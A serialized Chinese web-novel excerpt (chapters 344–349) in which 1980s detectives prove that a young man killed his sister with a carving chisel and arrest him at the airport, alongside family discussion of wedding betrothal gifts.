楚隽又去了一趟乜建元的学校,找到了他用的一套雕刻用品。这一套用品果然是焦名扬送给他的,这事情,班上的同学都知道。 他自己之前也有,但买的是便宜货,用得不是很趁手。就在纠结舍得不舍得再买一套的时候,焦飞扬要出国了。 大家都知道乜建元是福利院里的孩子,条件差,因此对他都挺照顾的。焦飞扬也是如此,既然带不走,那段时间他又有点财大气粗,就将一套工具都送给了乜建元。 自己还喜滋滋的,觉得是做了好人好事。 只是万万没有想到,这一个好人好事,将成为焦名扬杀人的证据。 顺便,楚隽还将乜建元放在寝室里的,准备送给小荷的生日礼物给拿了,给小荷送了过去。 就在乜建元的工具箱里,果然有一个和伤口吻合的工具。 虽然三年时间过去了,工具已经被乜建元用了无数次,但是无论怎么磨损,使用,擦拭,清洗,有些痕迹是磨灭不掉的。 即便用肉眼已经看不见,但仪器和试剂,也会让它无所遁形。 无论多少年,都会显露原型。 果然,在工具上,找到了血迹。 而且,不是一点血迹。 这只只有手掌长的凿子,上面血迹斑斑。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第344章 彩礼 这只凿子,就是当年焦名扬杀害焦雨花的凶器。 现在万事俱备,就等着焦名扬回国。 等待焦名扬回国的这几天,忙了好几天的众人,一下子闲了下来。 特别是安暖。 安暖又开始看书。 她现在虽然不去学校上课,但是偶尔还是要去考试的。 好在这些考试对她来说就是走个过程,确实是不难,也不用走后门,轻轻松松。 现在已经进了警局了,文凭还是需要的,但是没有这么着急。 也可以开始规划盘算着,一步一步地往上走,最终在京市,还是要拿一个大学文凭的。 学习是一方面,婚事,也被提上了日程。 向浩然的事情不但给向家带来了很大的冲击,也给上层圈子一众人家,带来了一些冲击。 在安暖和楚隽不知道的情况下,楚家甚至开了一个小会。 小会的成员有,翟老爷子,楚隽父母,翟琛。 其中翟老爷子是发起人和拍板的人,楚隽父母是提供各种意见的,翟琛负责点头。 他一个也得罪不起,提不出什么新鲜的意见来。 但是在这件事情上,他要出钱出人出力,要跑腿,所以他必须参加,并且在三个长辈讨论到某一个阶段的时候,负责点头。 “好,这个事情我去办。”翟琛说:“交给我,爷爷您放心。” 翟老爷子对翟琛还是很放心的。 之前一段时间,因为董紫莺的缘故,翟琛和家里闹得很不愉快。好在现在已经和解了。 楚隽父母虽然还是没有点头答应翟琛和董紫莺之间的关系,但是他们达成了共识。 董紫莺出国去了,最快也要四年才回来。 四年,可以将热爱等凉。 有了四年的时间缓冲,楚隽父母也就不着急棒打鸳鸯了,因为鸳鸯已经天各一方。 他们说好了,各退一步。 四年之后,董紫莺若是学成归来,就同意他们在一起。 于是翟家,又和乐融融了。 大家坐下,翟老爷子说:“今天叫你们过来,是想和你们商量一下,老二和暖暖的婚事,也该提上日程了。” 三个人一起点头。 翟老爷子说:“当初暖暖来我们家的时候,我们就说好了,让他们相处半年,如果半年之后,相处和谐,就结婚。现在虽然还没有半年,也差不了半个月了,结婚呢,又不是一件今天定下来,今天就能做的事情,所以我想来想去,现在也该把这个事情提出来,说清楚,说明白,要开始准备了。” 三个人一起称是。 翟琛是无所谓的。 开始的时候,他对这个准弟媳妇十分不满意,那也是另有原因。 现在没什么不满意的。 再说了,第一次见到安暖的时候,安暖就一针见血说过扎他心窝的话。 看着是翟家的大公子,大少爷,在京市也是响当当的人物。 可是这个响当当只是对外而言,对内,在家里,不当家做主啊。 只要小两口觉得行,爸爸妈妈觉得行,重点是爷爷觉得行,那这件事情就成了。 他的意见大家肯定也会参考,但是他肯定左右不了。 第一次见到他的安暖几乎是瞬间就看清楚了他在家里的地位,然后毫不客气的一击绝杀。 让他在某一段时间里,对这个弟媳妇抱着一种,不是好人的偏见。 现在这种偏见虽然没有了,可他在家里的地位,依然没有得到提升。 并且,他非常有自知之明。 眼下看来,楚隽和安暖是肯定会在他之前结婚了。 他等待董紫莺的这四年时间里,他们很有可能会有孩子。 一旦这个孩子出生了,他在家里的家庭地位还得往下跌。 他这段时间甚至已经在考虑要不要去买只狗了,有狗垫底,他才不会是家里混得最差的那个。 但是,这个念头刚萌生出来,就被楚母拒绝了。 “不行。” “为什么不行?”翟琛当时就很奇怪:“妈,你不是一直想养个狗吗?不养大狼狗,咱们养个小点的博美什么的。给它打理得干干净净的,漂漂亮亮的。” “不行。” 妈妈坚定地拒绝了:“至少现在不行,这几年都不行。” “为什么?” “你傻呀。”楚母说:“阿隽和暖暖很快就要结婚了,结婚以后,就算暂时不要孩子,也拖不了多久吧。小年轻感情好身体又好,说不准结了婚就有孩子了。那猫猫狗狗的,身上难免有细菌跳蚤什么的,怎么能和孕妇在一起。” 翟琛恍然大悟。 “对,妈你说得对,确实不能养。” 翟琛只能在心里叹一口气。 那还有什么好说的呢,只能说,妈说得对。 翟老爷子继续开会。 “暖暖呢,家里也没什么特别亲的亲人了,她的婚事,她自己就做主了。但是咱们不能欺负人家在京市没有娘家,咱们是男方,得把事情给做足了才行。” “爸,您说的我们都明白。”楚父道:“我们的为人,您还不放心吗?虽然开始的时候,我们对暖暖成为我们家的儿媳妇,是有些疑惑的,但既然同意了,肯定不会亏待她。别人有的,我们都有,别人没有的,我们也要有。” 楚母是个会规划的,她甚至立刻回了房间,拿出一张单子来。 翟老爷子戴起了眼镜。 “这是什么?” “爸,您看看,这是我准备给暖暖的彩礼。”楚母说:“我早就计划好了,这些彩礼啊,我打算就直接给安暖了,给她当私房钱。” 翟老爷子仔细地看。 楚母一个一个地指给他。 “十八万八千八百块钱的现金,金手镯,金项链,金戒指,金耳环,金手链。钻石戒指,一栋洋房,还有一块表,一辆车……爸,您先看看还有什么需要补充的。要是您觉得行,我就拿给阿隽,让他再看看,暖暖喜欢什么,他肯定更清楚。” 翟老爷子看了半天,点头:“行,我看可以,不过,有个事情,我要跟你说道说道。” “您说。” 楚母甚至拿起了笔,打算记个笔记。 把家庭会议搞得跟组织会议一样。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第345章 婚前坦诚 翟老爷子说:“你们准备的这个聘礼,我很满意,看得出来,你们是用了心的,也没有敷衍。但是呢……” 但是这个转折词一出来,后面肯定有更重要的事情要说。 大家都严肃认真。 翟老爷子说:“你们这份聘礼,给得很重。按理说呢,女方家,也是要嫁妆的。除非是卖女儿的人家,不然的话,嫁妆也不会少。” 翟老爷子这么一说,大家就明白了。 翟老爷子继续道:“但是暖暖这情况,她肯定没有什么嫁妆。她家的条件,你们也是知道的,虽然就她一个孩子,但就是普通人家,父母能留给她的,也十分有限。” 话已经说得很清楚了。 翟老爷子提前敲打敲打他们。 可不要觉得自己家里出了那么多钱,但是对方没有相应的回应,就心里不舒服,到时候挑三拣四,鼻子不是鼻子,眼睛不是眼睛的。 那就搞得没有意思了。 预防针先打上,把一切不好的苗头都扼杀在摇篮里。 翟老爷子是会未雨绸缪的,虽然年纪大了,但心里明白的很。 这件事情,这个矛盾,必须要在婚前,自家内部,关上门窗,不被外人知道的情况下,处理完。达成统一的意见。 不但不能让外人知道,也不能让安暖知道,甚至最好不要让楚隽知道。 前者叫人笑话,后者让楚隽心里不舒服。 若是让安暖知道,这婚事都未必能成。 这半年,翟老爷子也算对安暖彻底的了解了,别的事情就罢了,特别是上次的事情,那真是刮目相看。 老爷子在详细的知道了事情的来龙去脉之后,感觉就算是自己,在当时也未必能做到那么好。 简直是文武双全,有勇有谋。 这种人,是不会让自己憋屈的。 而且,如果离开了楚隽,短期内,她可能要过一段时间的艰苦日子,但是天长日久,前途不可限量。 还以为老爷子要说什么大事儿呢,这一说,众人都松了一口气。 “爸,你说的事情,我们都知道。”楚父说得很实在:“咱们也不是贪图嫁妆的人家,要是在乎这个,那也不能同意他们的婚事。” 安暖家什么情况,大家都懂。 “你们能这么想就好。”翟老爷子说:“既然不在乎,就不要表现出来,明白吗,别做了好人,还没落得好名声。” 可别高高在上地说,我们不嫌弃你。 这本身就是一种嫌弃。 小会开得还是挺和谐的。 安暖和楚隽完全不知道这事情。 第二天,楚隽就拿到了初步定稿的聘礼名单。 楚母说:“这个你拿去看看,这是我和你爸,爷爷,一起商定的。但现在讲究婚姻自由,你也是有见识的,所以也让你看看,有什么不合适的,或者缺的,再填上。” 楚隽拿过来看了看,十分满意。 “好,我回去研究一下。” 他和安暖现在还住在单位边上的三室套,并且决定在结婚之后,暂时也住在那里。 结婚之后,也没打算回老宅。 婚房还在看,但婚房没那么快,他觉得自己等不到婚房装修好。可以先领证,等婚房装修好再摆酒。 而且两个人要上班方便,结婚之后肯定也是要住三室套的。婚房打算买个有花园院子,依山傍水的洋房,周末可以去度假。 楚隽就将这份聘礼单子拿了回去,交给了安暖。 “这是我家给的聘礼。”楚隽说得那么坦诚:“你看看,还有什么缺的没有?” 安暖虽然活了两辈子,也是第一次见聘礼单子这种东西,十分好奇,接过来看。 一边看,一边赞叹。 “这么多钱?还有房子?还有车……这表也不便宜吧……” 这个年代的十八万八,抵的上以后的几百万了吧。车也是挺贵的车,房子就不提了,这表的钱可能都够一辆车了。 楚隽难得见安暖露出这种没见过世面的样子,心里十分满足。 这姑娘的接受度很奇特,就是下限很低,但上限很高,容错率极强。 你给她一块钱,行,她不会做出嫌弃的表情。 你跟她说一万块,她也不会吓傻。 这张聘礼单子,看来是让她十分意外的。 “肯定不便宜,便宜的能拿出手吗?”楚隽说:“妈说,看你一直戴着手表,觉得你也是喜欢的,所以才选了这个。” 安暖倒也不是说喜欢手表,毕竟上辈子她只是个普通人,经济水平有限,支撑不起这样的爱好。 但在没有手机的年代,有一块手表,当然是很方便的。不然时间只能靠猜。 平时也就罢了,特别是有案子,执行任务的时候,对时间的精准度要求是很高的。就算楚隽不给她买这块两万的表,她也是要买个二十块钱的戴在手上的。 安暖一个一个地看过去,着实感慨了一番。 “这么多钱。”安暖感慨完了,提出一个特别实在的问题:“这些东西给我了,就是我的?” “那当然。” “是我一个人的?” “对。” “不是夫妻共同财产吗?” 楚隽失笑:“你还懂夫妻共同财产呢?” 这是什么话。 安暖一听不乐意了。 “我只是没文凭,不是没文化,我现在也是正经的刑警了,法律我也是懂得好嘛?” “是是是,你都懂。”楚隽安抚炸毛:“谁敢说你没文化,那一定是没脑子。这要是婚后的,就是夫妻共同财产。但聘礼是婚前给你的,这就是你的共同财产。” 安暖也不确定这个年代的法律是怎么具体规定的。 不过大方向应该是差不多的。 楚隽说:“谁家聘礼是婚后给啊,当然都是婚前给。聘礼和嫁妆,都是你的私人财产。” 楚家这一点,有点大户人家的意思。 “那你家给我这么多钱,万一咱们俩结了又离了,不是亏大了?” 楚隽脸都黑了。 “这还没结呢,你就想着离了?” “那倒不是。”安暖呼噜呼噜毛安抚楚隽:“就是提出这么个疑问,结婚是大事儿,财产也是大事儿,婚前敞开说,总好过于婚后猜疑,是不是?” 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第346章 接机 是,确实是。 但是楚隽觉得,没有什么好猜疑的。 楚隽握着安暖的手。 “既然我们在一起了,那你就是我的选择。我对自己的选择,从来是坚信不疑的。我相信,我们一定能把日子过好,是绝对不会离婚的。” 见安暖要说话,楚隽捂了一下她的嘴。 “你听我说完。如果我们以后婚姻出了问题,走到了离婚这一步,那我在其中,一定是有责任的,而且有很大的责任。所以,这些钱就是给你,也是应该的。” “为什么你确定是你的责任?”安暖眯起眼睛:“莫非是,你有什么想法,你会出轨?” “当然不会!”楚隽立刻道:“绝对不会。只是我了解你,你不是一个肤浅的人,如果不是非常失望,有不可调和的矛盾,你是绝对不会放弃一段感情的。” 都说一段失败的婚姻,一定是两个人的错误。但这错误也有区分。 一段健康又温暖的婚姻,很难被外力攻破。 楚隽相信自己的眼光,相信自己的条件,也相信自己能做一个好丈夫。当然他的工作,有时候可能兼顾不到家庭,但是,在这件事情上,安暖是可以体谅的,不会有一点勉强的体谅。 而且,楚隽有钱,自己兼顾不到的很多事情,钱是可以弥补的。 就是这么直接又赤裸裸。 楚隽说:“我名下也还有不少钱,有房产什么的。等结婚以后,都是夫妻共同财产,不过都在老宅。哪天回去,我都拿给你看看。” 好吧,楚隽这么真心诚意,安暖就相信了。 而且,她也不心虚。 她现在是没钱,可这只是暂时的,她最近在四处看房子。 有些房子,现在真的很便宜。 可将来,价值不可估量。 用不了十年八年,她就会变得非常有钱。 还有炒股,炒邮票,很多她明确知道能赚大钱的生意,会一点点,一步步地出现。 只是需要时间罢了,而且,不用太久。 安暖又看了一遍嫁妆单子,十分满意。 “挺好的,我很满意。”安暖说:“不过这个走个过场就行,我不要。” “为什么?” “因为我没有嫁妆啊,我家就一个旧房子,你是看见的。” 楚隽无奈:“都说了嫁妆有也是你自己的,难道我和你一换一吗?” “不是这么回事。”安暖将单子放回楚隽手里:“有这个单子,我就很满意,这代表你,和你们家的重视和认可。但是呢,我不能要,这太多了。” “你知道的,我不是一个客气的人,也不是一个矫情的人,我需要的东西,想要的条件,都会直接跟你说,不会跟你支支吾吾的,怕花你的钱什么的。” “所以我说不要,不是客气,是真的觉得不合适。这如果叔叔阿姨非要给,你就收着。你要是非要给我,我给你写个欠条。” 楚隽真是败给安暖了。 之前她买东西花钱真的是爽快得很,爽快到叫不认识的人看了,一准说她是个爱慕虚荣,贪图物质的女人。 天气还没凉呢,就开始考虑冬天取暖的问题,还顺带考虑到了明年夏天的问题。然后跟楚隽说要装空调。 稍微有点心虚的人,都不好意思开口。 万儿八千的东西,说要就要。 十万块钱,说拿就拿。 但不要的钱,是真不要。 安暖说:“君子有所为,有所不为,能要的我不会跟你客气的。不要的,我是真不要。你偷偷拿着就是了。” 可怜一个晚上,楚隽竟然没把聘礼送出去。 他想来想去,不行。 “要不,你挑点。一件不要,我这媳妇娶得不安心。” 楚隽坚持。 安暖最终想了想。 “那就把现金给我吧。” 其他的都是东西,又不可能拿去抵押变卖,收了也是锁在家里。 现金不一样,到手就可以花。 她日后要做各种投资,要花钱的地方可太多了。 收了这笔钱,就不用再找楚隽拿钱了。 虽然楚隽给钱给得很爽快,但总找人拿钱的感觉总是不好。靠自己的那点工资,又干什么都不够。 安暖总算是收了一部分,十八万八千八的现金。 这也算是一笔巨款,楚隽总算是安心了。 第二天上午,他就给老宅打了电话过去。 表示聘礼很好,很满意,爸妈爷爷,用心了。 我和暖暖以后一定把日子过好,不让你们担心。 楚隽没敢说一定尽快让你们抱上大胖孙子这种话,安暖还不想那么早生孩子。新婚燕尔,过几年再说也不迟。 就在楚隽和安暖的婚事筹备得风生水起的时候,叫名扬回国了。 风尘仆仆,日夜兼程。 得知了焦名扬回国的具体时间之后,向父便提出和焦成顺夫妻一起去机场接他。 焦成顺夫妻当然愿意,还很高兴。 去机场挺远呢,他们又没有车,向父一起,这不就有车了。 向父又给楚隽打了个电话。 焦成顺夫妻也没有多想。 他们知道楚隽和向浩然的关系好,向浩然过世之后,父母一时难以接受,有很多事情,都是生前的好兄弟帮忙操办的。 不但有楚隽,还有其他兄弟,都是常来往的。 现在向父叫上了楚隽,也很合理。 那是自己以后要依仗的儿子,可不得找几个可靠的人看看。 当下,楚隽便也去了,开车带这安暖,还带了姜笑愚,开了一辆车。 到了机场,根据之前提供的航班,众人耐心等着。 焦成顺夫妻很激动,他们的激动是溢于言表的。 其实别人也挺激动,但是隐藏的比较深,没表现出来。 终于,当一个人走了出来。 焦成顺夫妻激动地迎了上去。 “那就是名扬,我儿子。” 焦名扬的照片他们都看了,一个普通人,说不上丑,也说不上好看。在国外几年,又是学艺术的,自诩走在时尚前沿,倒是把自己搞得有点不中不洋,十分另类。 他加快了脚步,走了过来。 楚隽和江笑愚也迎了上去。 这一刻,焦家的人还没有意识到马上要发生什么事情。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第347章 抓捕 楚隽和江笑愚都走到了焦名扬身边,左边一个,右边一个。 他们都没穿制服,焦名扬也不认识他们,只知道他们是跟着自己父母来的,穿得有都很体面,便在心里猜测了一下,是不是向家的人。 这么年轻,肯定不是向浩然的父母,可能是家里的表哥表弟,堂哥堂弟什么。 可见要认自己做义子这件事情,向家的人果然是很认真很重视的。 焦名扬不由得沾沾自喜起来。 谁能想到呢,本来就是普普通通的一个人家。 一辈子可能都向父母一样,面朝黄土背朝天。就算是考上了大学,美术专业,除非天赋惊人或者惊人的机遇,要不然的话,一辈子的成就也是很有限的。 如今富贵从天降,一下子跳跃了何止一个两个档次? 焦名扬的嘴角都要咧到耳朵根了,要不是大庭广众还想在向家人面前保持一个好的形象,给他们留一个好印象,他都忍不住要抱着父母笑出声来。 焦名扬一看楚隽就知道这个人不简单。 他以前穿戴都是普通成色,自从有了向浩然给的钱之后,着实也是奢侈了几回。 去逛过,看过,了解过以前看都不敢看的,那些名牌,奢侈品,昂贵的穿戴用品。 他一眼看去,楚隽这一身,那可真不便宜。 比向浩然穿的衣服戴的手表还有过之而无不及。 一定是个大人物。 焦名扬热情的朝楚隽伸出手去。 “你好。”焦名扬说:“我是焦名扬,还让你们来接我,实在是太麻烦了。” 楚隽自然也握住了他的手。 还稍微用了一点力气。 焦名扬被楚隽的热情给弄得有点激动,也用力握住他的手,摇了摇。 但是摇完之后,有点疑惑。 因为楚隽没有放开他的手。 焦名扬就有点不理解了。 至于吗? 向家的人,就算是再看中他,也不至于那么热情吧。而且这是谁,自己也不认识他啊,热情得有点过分了。 下一秒,更过分的事情出现了。 楚隽左手往自己后腰上一拽,变魔术一般地掏出了一副手铐。 二话不说,啪的一声,就把焦名扬和他握手的这只手腕拷住了。 江笑愚立刻伸手抓住了他另一只手腕,往上一拽。 另一只手腕也拷住了。 楚隽这才放开手。 焦名扬都惊呆了,焦成顺夫妻也惊呆了,一时都没能反应过来。 “这,这是怎么了?”焦成顺茫然道:“楚队,你这是干什么?” 焦成顺这才反应过来,挣扎了一下。 可是警用手铐,怎么可能挣脱得开。 江笑愚走上前一步,按住焦名扬的胳膊,沉声道:“别动。” “不是,我不明白。”焦成顺着急道:“楚队,是不是有什么误会,你为什么要把名扬拷起来。” 此时,向浩然父亲带人还站在后面,他们一步都没有上前。 他们今天在这里,只是为了迷惑焦成顺夫妻罢了。 楚隽严肃道:“焦名扬,现在怀疑你和三年前,焦雨花死亡一事有关,我们对你依法逮捕。” 焦名扬忽然晃了一下,脸上血色一瞬间褪得干干净净。 他面色一片死寂。 半晌,嘴唇动了动,绝望地看向自己的父母。 “你们叫我回来……不是要继承向家的吗?为什么会这样?” 他不相信父母会害自己。 焦成顺夫妻俩的表情比他也好不到哪里去。 “是啊,是啊。”焦成顺一把抓住楚隽的胳膊:“楚队,一定是搞错了啊,名扬是我儿子,雨花是我女儿。他怎么可能杀了自己的妹妹。我们都亲眼所见,雨花是被车撞死的,是向浩然开车撞死的啊。” 楚隽冷冷看着焦名扬。 “焦名扬,你以为三年前的案子,没有证据,我们会贸然抓人吗?没有证据,我们会怀疑到你身上?” 焦名扬嘴唇动了动,却没说出话来。 楚隽道:“向浩然确实开车撞了焦雨花,但是在这之前,她身上已经有了致命伤。凶器就是你的工具箱里,用来雕刻的圆形凿子。这只凿子,已经被你连同工具箱一起,送给了同班同学乜建元。” 楚隽每说一句,焦名扬的脸色就白一分。 楚隽有一句话说得很对,直扎他内心。 三年前的命案,死的还是自己的妹妹,要不是有准确的信息,警方怎么会怀疑上他呢? 楚隽道:“我们打开了你妹妹的棺材,法医检查了她的骸骨,在头颅上,发现了致命伤。而凶器上,即便三年过去了,也依然检验出了血迹。” 焦成顺突然捂住了胸口。 这时候他才恍然大悟。 “原来你们要开棺,竟然是想要验尸,你们,你们和向家合伙,骗了我们!” 楚隽淡淡地看了他们一眼。 骗,确实是骗了。 但为了正义的骗,就不能叫骗,顶多算是一种计谋吧。 楚隽说:“焦成顺,这件事情,我不信你们是不知情的。焦雨花突然跑上马路,是为了逃跑吧?那天晚上,焦雨花和焦名扬发生了争执,焦名扬动了手,焦雨花觉得自己会被打死,所以跑了出来,才会在慌不择路的情况下,被向浩然撞上。” 焦成顺梗着脖子道:“胡说,我知情什么,根本就没有的事情。那天晚上他们俩是吵架了,兄妹俩吵吵闹闹的,这不是很正常吗?怎么会被打死,你就算是刑警队长,也不能血口喷人。” 楚隽冷笑一声:“如果不是知情,为什么在焦雨花被车撞了,还有气的情况下,不将孩子送去医院呢?” “向浩然当时虽然喝了酒,但医药费他还是出得起的。何况,不去医院也可以报公安,女儿被撞死了,却一声不哼,既不愿意去医院也不愿意报公安。” “往小了说,你们是不拿女儿的命当命,只想乘机讹向浩然一笔钱。往大里说,你们是不敢。” “你们知道焦雨花身上有其他致命伤,对她的死心里也存了疑惑。怕万一有人检查了她的尸体,焦名扬就成了杀人犯。” 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第348章 爱情的原因 这一桩阴森黑暗的,有违伦理道德的,埋藏在地下和焦家人心里三年的真相,终于在楚隽的一句一句中,露出水面。 杀一个陌生人,是一件犯罪而恐怖的事情。 杀一个亲人,就是双倍的恐怖。 这个亲人,还是自己的亲妹妹,亲生女儿。 哥哥杀死了妹妹,父母掩护了凶手。 这件事情说出来,想起来,简直叫人毛骨悚然,如坠冰窖。 普普通通的一家人,怎么能恶毒至此。就算是重男轻女,也少有如此恶毒的。 楚隽说:“带走,焦名扬,到了警局,你再仔细说吧。” 当下,江笑愚押了焦名扬,焦成顺夫妻俩也不得不跟着,出了机场。 三个人的脚步都有些虚浮。 这一去,还能不能回来,就很难说了。 杀人犯固然是焦名扬,但是焦成顺夫妻知而不报,窝藏罪犯,也是一样有罪。 见焦名扬被抓,向浩然父亲也终于松了口气。 害向浩然的人被抓了,如今焦名扬也被抓了,这事情似乎告一个段落了。 向浩然这几天一直躲在一个偏僻的别墅里装死养伤,如今也终于可以不装死了。 向浩然父亲要去别墅看儿子,顺便告知今天的事情。 楚隽要带人回警局,半路就要分道扬镳。 临上车的时候,楚隽叫住向爸爸,单独说了几句话。 向浩然这段时间真是命中带煞,事情一桩一件的,一件都不叫人省心。 除了已经解决的两件事情,还有他的未婚妻呢。 他未婚妻肯定不是因为爱。 楚隽说:“向叔叔,要是牵扯到案子,我肯定义不容辞。但我查了一下,向浩然和他未婚妻之间的事情,可能无关案情,我觉得,你可以尝试解决一下。” 向爸爸连忙道:“小楚,你有什么建议?” “我的建议就是,正好趁向浩然受伤了,好好探一探对方的态度。到底是图人呢,还是图钱呢,还是怎么样。对方选中向浩然,可这段时间都没来看他一眼,显然不是因为喜欢。” 一个女人,要跟一个男人结婚。 总得有个原因吧。 要么图钱,要么图权,要么图爱,就算是图身子图脸,也总要图一样吧? 反正向浩然已经这样了,不如顺水推舟,一个一个地试验过去。总能戳中对方的软肋,找出真相。 向爸爸觉得楚隽说的是有道理的,但一时间有些拿不准具体该怎么办。 做生意他没话说,但是术业有专攻,有些事情,还是没有楚隽脑子转得快。 楚隽说:“你看,这几天,为了引焦名扬回来,向家不是一直在宣扬,向浩然死了,要认别人做义子吗?继承向家的家业吗?” “是。”向爸爸说:“但是这个消息焦家的人相信,旁人未必就相信。” 向浩然那未婚妻郎若璃可不是焦家那样的普通人家,没有那么好骗。郎家也是有钱有势有人手有消息的,这几天按兵不动,应该是根本就不相信向浩然已经死了。 要是相信了,不管怎么样,也要过来联系一下吧? “这个我知道。”楚隽道:“郎家和焦家当然不一样,能瞒得过焦家的事情,未必能瞒得过郎家。但是,人死不死不重要,重要的是,家产家业,是不是可以给别人继承呢?向浩然,是不是恢复了也会留下致命残疾呢?” 向爸爸听得一愣一愣的,只觉得自己儿子可真可怜啊。 楚隽接着道:“向浩然对外是个高贵傲慢,高高在上的公子哥。突然就残疾了,家里又要培养别的继承人。这么大的打击,他能受得了吗?肯定要跟家里闹翻,这一闹,你们就可以顺水推舟把人赶出家门。” 瞅瞅,多好。 一个一无所有的向浩然,不就诞生了吗? 一穷二白,身残志不坚,以前的狐朋狗友,也大难临头各自飞。 在这种情况下,看看郎若璃如何选择。 如果郎若璃有所求,不管求的是什么,都会退缩。 向爸爸有点迟疑:“如果,我是说如果啊……如果在这种情况下,郎若璃还是不离不弃,非要嫁给浩然,你说这是什么情况?” 是真爱吗? 可以接受吗? “不。”楚隽说:“以我的经验,如果在这种情况下,郎若璃还是坚持要嫁给向浩然,和他生死相依绝不分开,那很有可能,她被人下了蛊,或者脑子出了问题。” “……” 向爸爸一时都分不清楚隽是在调侃,还是在认真想办法。 不过他转念一想,这个可能性确实太诡异了。 当有人不图你任何一个优点的时候,未必就是他真的不图,而是有可能,他图的是你根本想不到的东西。 他是个生意人,太明白这个世界上没有免费的午餐了。 哪有那么多莫名其妙的痴心,哪有那么多好占的便宜。 “我明白了。”向爸爸说:“我这就回去安排。” 跟向爸爸这样的人合作,楚隽是非常喜欢,非常舒服的。 特别省心,一点就通,而不是每一个步骤每一个细节都要手把手地教,有时候还教不好,还会做出适得其反的步骤来。 向爸爸若有所思地走了。 楚隽带着焦家三人,回到刑警队。 三个人分开审。 楚隽还糊弄了焦名扬一下。 “你们大概想不到,焦雨花被打的那天晚上,并非没有人看见,就在村子里,有一个目击证人。” 当下焦名扬就不淡定了。 “谁?” 楚隽随便说了一个名字出来。 焦名扬愣愣的回忆了一下,硬是没想起来这个人是谁。 楚隽信口开河:“是借住在你们村子里的一个工人,那天晚上下班晚,你们追打焦雨花的时候,他正好刚收工回村。他亲耳听见你们说,要打死焦雨花。” 这可不是楚隽瞎说的。 这些话,是从焦家邻居口中问来的。 焦家人对焦雨花日常非打即骂,打骂的时候,难免会说出过激的话来。 比如,我打死你这个赔钱货。 这可能是脱口而出,未必是真想打死她,但是一边打,一边骂,被人听见,可就不能用随便说说来解释了。 喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:()八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第349章 女儿的命不是命 焦家三人你看看我,我看看你,就愣是没有一个人敢说一句,我没说过这个话。 可见,这话是他们在打焦雨花的时候常说的。 虽然可能是气话,但很多气话都是内心真实的想法。有些气话说着说着,就是真的想这么做。至于做得到做不到,那又是另一回事。 楚隽冷笑了一声。 “都说虎毒不食子,你们连自己的亲妹妹,亲女儿都不放过,可真是比畜生还不如啊。” 焦成顺忍不住喃喃道:“可她只是个女孩子,又不听话……” 安暖捂了捂胸口,先离开了审讯室。 她知道警察打人是不对的,她也知道纪律,但是有些事情,真的是很气人,真的是意难平。 她不能再听下去了,再听下去,容易心梗。 安暖去了楚隽办公室,喝了杯水,缓下这口气。 这世上本是男女各半,各司其职。 为什么发展到如今,却会是这样。 不爱,就一定要迫害,要伤害吗?有这样的父母,焦雨花死了也未必是件坏事,如果她能长大到二十岁,到了嫁人的年纪,一定会被焦成顺夫妻毫不犹豫地嫁给一个,只要能出得起彩礼的任何人。 不管是年纪大的,还是脾气差的,哪怕是监狱里出来的劳改犯,有钱给彩礼,就能娶。 安暖想着心里堵得慌,拿出一套卷子来做。 用眼花缭乱的题目,来给自己洗洗脑。 楚隽一直到下午下班,才回到办公室。 “怎么样?” 安暖正得意扬扬地给自己的卷子打上九十九分。 少的那一分,怕自己骄傲。 “都说了。” 楚隽疲惫地在椅子上坐下。 焦名扬这种人,这种案子,其实是最好办的。 他们在这之前都是普通人,不管是多骄纵,多暴力,多坏,也只是普通人。杀人对他们来说,也是一件恐怖的事情。 十有八九真的是意外,并非抱着杀人的心去做这件事情。 如果是抱着这样的心,也不会在毫无准备的情况下,在自己家里动手。 那不是生怕别人不知道吗。 所以当时焦雨花的死,确实是个意外。 她那天晚上,连续遭遇了两个意外。 两个意外连在一起,让她死不瞑目。 据焦名扬说,那天晚上和往常一样,因为焦雨花为了做作业,漏了家里的一点活儿,所以大家都很生气。 焦名扬也很生气。 他那时候正在雕刻一块木像,焦雨花蹲在地上洗衣服,他雕刻的不如意,看着焦雨花更烦,就走了过去,顺手在她脑袋上敲了一下。 本来,就是想给她点苦头。 没想到这一下重了,焦雨花当时就倒下了,脑袋上,血渗了出来。 焦名扬吓坏了,喊了两声喊不醒之后,立刻去找爸妈。 焦成顺夫妻听着喊声过来一看,焦雨花跑了,只剩下地上的一摊子血。 他们家对焦雨花不好,可偏偏又要面子,生怕焦雨花跑到外面,碰到村子里的人,将这件事情告诉村子里的人。 那他们就丢脸了。 于是他们立刻就追了出去,看见往前跑的焦雨花。 焦雨花这时候已经是回光返照,她非常害怕,觉得今天晚上焦名扬要杀她。她不知道往哪里跑,但是一定要跑。 抄着近路,她跑出了村子,跑上了马路。 一道强光扑面而来,来不及躲避,向浩然的车到了,焦雨花被撞飞了出去。 焦名扬几人紧跟着就到了,被眼前这一幕惊呆了。 焦名扬第一个冲了出去,查看焦雨花的情况。 伸手扶起焦雨花的脑袋,他惊恐地发现,就在刚才他敲打的地方,全都是血。 顿时,焦名扬心里就嘀咕起来。 这个时候,焦雨花已经昏迷了,只是偶尔抽搐一下,眼见着不行了。 车上,一个喝多了的人,迷迷糊糊的。 焦名扬立刻就喊道:“雨花被车撞死了!” 焦成顺夫妻俩在当时未必想到了太多,但是他们也觉得焦雨花要死了,就算是送去医院,也救不回来了。 夫妻俩对视一眼。 有了一个共同的念头。 既然救不回来,那就不要救了。 救了要花很多很多钱的。 她才十三岁,还要上学,还要吃饭,还要穿衣,即便是长大嫁人可以收彩礼,也还要养好几年。 而且,一个普通的姑娘,彩礼也是十分有限的,没有多少钱。 倒不如,一劳永逸。 虽然他们那时候不知道向浩然是什么人,但在这个年代能开得起车,肯定是有钱人,这是不用怀疑的。 有钱人的钱,和他们的钱,那是不一样的。 焦成顺夫妻在这一点上,可能没有太远的见识。但焦名扬不一样,美术学院里,虽然也有普通人,但是,也有很有钱的人,有钱人家的小姐少爷。 